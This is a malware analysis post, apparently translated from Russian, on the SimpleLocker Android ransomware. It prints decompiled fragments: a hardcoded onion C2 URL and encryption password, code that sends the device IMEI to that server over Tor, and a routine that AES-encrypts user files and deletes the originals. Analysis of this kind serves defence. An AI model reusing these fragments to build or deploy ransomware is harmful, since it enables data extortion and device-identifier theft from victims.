Analysis of Simplelocker-a - ransomware virus for Android



    Good afternoon, dear habuchiteli, today the specialists of our company would like to present to your attention the analysis of one Android virus that caught our eye not so long ago, if you can call it that, SimpleLocker. In order to learn more about it, we did a lot of work, which in general can be divided into 3 steps:

    Step 1. Analysis of the manifest and resources
    Step 2. Decompilation of the application
    Step 3. Analysis of the code

    Step 1. Analysis of the manifest and resources
    The first thing was It was decided to analyze the application resources using the aapt.exe utility to extract string content from the apk file with the command
    c: \ android \ apktool> aapt.exe list -a .. \ simple \ fd694cf5ca1dd4967ad6e8c67241114c.apk The

    permissions used in this application were as follows:
     android.permission.INTERNET
    android.permission.ACCESS_NETWORK_STATE
    android.permission.READ_PHONE_STATE
    android.permission.RECEIVE_BOOT_COMPLETED
    android.permission.WAKE_LOCK
    android.permission.WRITE_EXTERNAL_STORAGE
    android.permission.READ_EXTERNAL_STORAGE
    

    There are receivers:
     .ServiceStarter
    android.intent.action.BOOT_COMPLETED
    .SDCardServiceStar
    android.intent.action.ACTION_EXTERNAL_APPLICATIONS_AVAILABLE 
    

    as well as the following services:
     .MainService
    org.torproject.android.service.TorService
    org.torproject.android.service.ITorService
    org.torproject.android.service.TOR_SERVICE

    From the manifest we become aware that the virus can work with the TOR network and with an external memory card.
    Unpack the application and see what is in the resources. The most interesting is in the res \ raw folder. We find two disguised files as mp3, which actually provide an archive containing databases of GeoIP countries, as well as configuration files for TOR'a torrc
    file:
     SocksPort 9050
    SOCKSListenAddress 127.0.0.1
    SafeSocks 0
    TestSocks 1
    WarnUnsafeSocks 1
    Log notice stdout
    ControlListenAddress 127.0.0.1
    ControlPort 9051
    CookieAuthentication 1
    TransPort 9040
    TransListenAddress 127.0.0.1
    DNSPort 5400
    DNSListenAddress 127.0.0.1
    AvoidDiskWrites 1
    Файл torrctether
    SocksPort 9050
    SOCKSListenAddress 0.0.0.0
    SafeSocks 0
    TestSocks 1
    WarnUnsafeSocks 1
    Log notice stdout
    ControlPort 9051
    ControlListenAddress 0.0.0.0
    CookieAuthentication 1
    RelayBandwidthRate 100 KBytes
    RelayBandwidthBurst 100 KBytes
    UseBridges 0
    AutomapHostsOnResolve 1
    TransListenAddress 0.0.0.0
    TransPort 9040
    DNSListenAddress 0.0.0.0
    DNSPort 5400
    AvoidDiskWrites 1
    

    And the privoxy_config file
    # Generally, this file goes in /etc/privoxy/config
    #
    # Tor listens as a SOCKS4a proxy here:
    forward-socks4a / 127.0.0.1:9050 .
    confdir /data/data/org.torproject.android
    logdir /data/data/org.torproject.android
    # actionsfile standard  # Internal purpose, recommended
    #actionsfile default.action   # Main actions file
    #actionsfile user.action      # User customizations
    #filterfile default.filter
    # Don't log interesting things, only startup messages, warnings and errors
    #logfile logfile
    #jarfile jarfile
    #debug 1
    #debug   0    # show each GET/POST/CONNECT request
    #debug   4096 # Startup banner and warnings
    #debug   8192 # Errors - *we highly recommended enabling this*
    #user-manual /usr/share/doc/privoxy/user-manual
    listen-address  127.0.0.1:8118
    toggle  1
    accept-intercepted-requests 1 
    enable-remote-toggle 0
    enable-edit-actions 0
    enable-remote-http-toggle 0
    buffer-limit 4096
    

    Step 2. Decompiling the application
    To decompile the application, we will use the link service .

    Step 3. Code analysis. A
    quick look at the names of the classes, I stopped at the Constants.java class. Let's see what constants are stored in it:
    
        public static final String ADMIN_URL = "http://xeyocsu7fu2vjhxs.onion/";
        public static final int CHECK_MAIN_WINDOW_TIME_SECONDS = 1;
        public static final String CIPHER_PASSWORD = "jndlasf074hr";
        public static final String CLIENT_NUMBER = "19";
        public static final String DEBUG_TAG = "DEBUGGING";
        public static final String DISABLE_LOCKER = "DISABLE_LOCKER";
        public static final List EXTENSIONS_TO_ENCRYPT = Arrays.asList(new String[] {
            "jpeg", "jpg", "png", "bmp", "gif", "pdf", "doc", "docx", "txt", "avi", "mkv", "3gp", "mp4"});
        public static final String FILES_WAS_ENCRYPTED = "FILES_WAS_ENCRYPTED";
        public static final int MONEYPACK_DIGITS_NUMBER = 14;
        public static final int PAYSAFECARD_DIGITS_NUMBER = 16;
        public static final int POLLING_TIME_MINUTES = 3;
        public static final String PREFS_NAME = "AppPrefs";
        public static final int UKASH_DIGITS_NUMBER = 19;

    By constant variables, we can assume where the data is sent, what password is used to encrypt files, which files are subject to encryption.
    The virus must somehow interact with the server and encrypt the files. Find the sections of code that are responsible for this functionality. We start by analyzing the MainService.java class, which acts as the MainService service.
    Communication with the server.
    In the MainService.java class, the TorSender.sendCheck (context) function is called in the run () method;
     
         public void run() {
    	……
                    TorSender.sendCheck(context);
                }

    TorSender.java, this class contains one method:
    public static void sendCheck(Context context)  {
            try  {
                JSONObject jsonobject = new JSONObject();
                jsonobject.put("type", "locker check");
                jsonobject.put("device id", Utils.getCutIMEI(context));
                jsonobject.put("client number", "19");
                (new HttpSender(jsonobject.toString(), HttpSender.RequestType.TYPE_CHECK, context)).startSending();
                return;
            }
            catch (JSONException jsonexception) {
                jsonexception.printStackTrace();
            }
        }
    

    A json object is created containing information about the request type, device IMEI:
    
    (Utils.getCutIMEI(context)) и номер клиента.
        public static String getCutIMEI(Context context)    {
            String s = getIMEI(context);
            ….
        }
        public static String getIMEI(Context context)    {
            return ((TelephonyManager)context.getSystemService("phone")).getDeviceId();
        }
    

    When sending, the proxy server 127.0.0.1:9050 is first created when the explicit constructor of the HttpSender.java class is called
     
    public HttpSender(String s, RequestType requesttype, Context context1)    {
            dataToSend = s;
            settings = context1.getSharedPreferences("AppPrefs", 0);
            httpclient = new StrongHttpsClient(context1);
            httpclient.useProxy(true, "SOCKS", "127.0.0.1", 9050);
            context = context1;
            type = requesttype;
        }
    

    And then we call the startSending () method, which will transfer data to the eyocsu7fu2vjhxs.onion server.
    
        public void startSending()    {
            ….
            HttpResponse httpresponse = send(context, "http://xeyocsu7fu2vjhxs.onion/", dataToSend);
            ...
        }
    

    File Encryption:
    The MainService service starts a stream to encrypt files.
     
    new Thread(new Runnable() {
    …
    (new FilesEncryptor(context)).encrypt();
                    …
            }
    

    Consider the explicit constructor of the FilesEncryptor (context) class
    
        public FilesEncryptor(Context context) {
            filesToEncrypt = new ArrayList();
            filesToDecrypt = new ArrayList();
            settings = context.getSharedPreferences("AppPrefs", 0);
            getFileNames(new File(Environment.getExternalStorageDirectory().toString()));
        }
    

    We see the initialization of two lists intended for storing a list of regular and encrypted files, the getFileNames (File file) method fills the lists:
     
        private void getFileNames(File file) {
            …
            String s = file1.getAbsolutePath();
            String s1 = s.substring(1 + s.lastIndexOf("."));
            if (extensionsToDecrypt.contains(s1)) {
                filesToDecrypt.add(file1.getAbsolutePath());
            } else
            if (Constants.EXTENSIONS_TO_ENCRYPT.contains(s1))  {
                filesToEncrypt.add(file1.getAbsolutePath());
            }
            …
        }
    

    And the encrypt () method will encrypt files from the filesToEncrypt list
    
        public void encrypt() throws Exception {
            …
            AesCrypt aescrypt;
            Iterator iterator;
            aescrypt = new AesCrypt("jndlasf074hr");
            iterator = filesToEncrypt.iterator();
            …
            String s = (String)iterator.next();
            aescrypt.encrypt(s, (new StringBuilder(String.valueOf(s))).append(".enc").toString());
            (new File(s)).delete();
            …
        }
    

    Consider the class AesCrypt.java
    private final Cipher cipher = Cipher.getInstance ("AES / CBC / PKCS7Padding");
    AES 128 block encryption is used.
    In the class constructor, hash the password with the SHA-256 algorithm and generate the key for the cipher:
    
        public AesCrypt(String s) throws Exception  {
            MessageDigest messagedigest = MessageDigest.getInstance("SHA-256");
            messagedigest.update(s.getBytes("UTF-8"));
            byte abyte0[] = new byte[32];
            System.arraycopy(messagedigest.digest(), 0, abyte0, 0, abyte0.length);
            key = new SecretKeySpec(abyte0, "AES");
            spec = getIV();
        }
    

    Well, the encryption method itself:
    
       public void encrypt(String s, String s1) throws Exception {
            FileInputStream fileinputstream = new FileInputStream(s);
            FileOutputStream fileoutputstream = new FileOutputStream(s1);
            cipher.init(1, key, spec);
            CipherOutputStream cipheroutputstream = new CipherOutputStream(fileoutputstream, cipher);
            byte abyte0[] = new byte[8];
            do {
                int i = fileinputstream.read(abyte0);
                if (i == -1) {
                    cipheroutputstream.flush();
                    cipheroutputstream.close();
                    fileinputstream.close();
                    return;
                }
                cipheroutputstream.write(abyte0, 0, i);
            } while (true);
        }
    

    After conducting this series of studies, we can conclude that this virus has very poor functionality, namely:
    1. Grabbing IMEI victims
    2. Working with the TOR network
    3. File encryption

    Boyarkin Anton, Nabiev Nurlan, cybercrime investigation department , PentestIT

    Also popular now: